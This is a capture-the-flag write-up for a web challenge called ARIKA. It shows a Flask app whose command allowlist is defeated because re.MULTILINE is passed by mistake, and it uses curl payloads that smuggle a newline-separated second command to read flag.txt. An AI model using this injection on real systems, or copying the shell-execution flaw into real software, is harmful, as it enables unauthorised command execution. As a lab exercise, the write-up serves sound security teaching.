Skip to content

ARIKA

Web

The Arika ransomware group likes to look slick and spiffy with their cool green-on-black terminal style website... but it sounds like they are worried about some security concerns of their own!

Files Provided

arika
├── app.py
├── commands
│   ├── contact.sh
│   ├── help.sh
│   ├── hostname.sh
│   ├── leaks.sh
│   ├── news.sh
│   └── whoami.sh
├── Dockerfile
├── flag.txt
├── requirements.txt
├── static
│   ├── style.css
│   └── terminal.js
└── templates
    └── index.html

app.py:

import os, re
import subprocess
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)

ALLOWLIST = ["leaks", "news", "contact", "help",
             "whoami", "date", "hostname", "clear"]

def run(cmd):
    try:
        proc = subprocess.run(["/bin/sh", "-c", cmd],capture_output=True,text=True,check=False)
        return proc.stdout, proc.stderr, proc.returncode
    except Exception as e:
        return "", f"error: {e}\n", 1

@app.get("/")
def index():
    return render_template("index.html")

@app.post("/")
def exec_command():
    data = request.get_json(silent=True) or {}
    command = data.get("command") or ""
    command = command.strip()
    if not command:
        return jsonify(ok=True, stdout="", stderr="", code=0)
    if command == "clear":
        return jsonify(ok=True, stdout="", stderr="", code=0, clear=True)
    if not any([ re.match(r"^%s$" % allowed, command, len(ALLOWLIST)) for allowed in ALLOWLIST]):
        return jsonify(ok=False, stdout="", stderr="error: Run 'help' to see valid commands.\n", code=2)

    stdout, stderr, code = run(command)
    return jsonify(ok=(code == 0), stdout=stdout, stderr=stderr, code=code)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=int(os.getenv("PORT", 5000)), debug=False)

Solution

Entering a command sends the following POST request (copied as curl):

curl 'https://84cfa953.proxy.coursestack.com/'   -H 'accept: */*'   -H 'accept-language: en-US,en;q=0.9,hi;q=0.8'   -H 'content-type: application/json'   -b '_ga=GA1.1.523306962.1759840361; _ga_6F3S5QGGQM=GS2.1.s1759840360$o1$g1$t1759840372$j48$l0$h0; token=84cfa953-23b5-4174-ad60-9b9e5d1ec231_1_6405b41753b2957c8e850fc7087acb01e2ac5b8fdcdc615695bfcd3706d5abfb'   -H 'origin: https://84cfa953.proxy.coursestack.com'   -H 'priority: u=1, i'   -H 'referer: https://84cfa953.proxy.coursestack.com/'   -H 'sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"'   -H 'sec-ch-ua-mobile: ?0'   -H 'sec-ch-ua-platform: "Linux"'   -H 'sec-fetch-dest: empty'   -H 'sec-fetch-mode: cors'   -H 'sec-fetch-site: same-origin'   -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36'   --data-raw '{"command":"help"}'

The whitelisting code in server.py:

if not any([ re.match(r"^%s$" % allowed, command, len(ALLOWLIST)) for allowed in ALLOWLIST]):

The argument len(ALLOWLIST) is passed where flags are passed.

The length is 8, which corresponds to re.MULTILINE. The anchors ^ and $ now match start and end of any line, not the whole string

Testing the approach:

curl .... --data-raw '{"command":"help\nnews"}'

This prints the output of both the commands

curl .... --data-raw '{"command":"help\ncat flag.txt"}'

This prints the flag!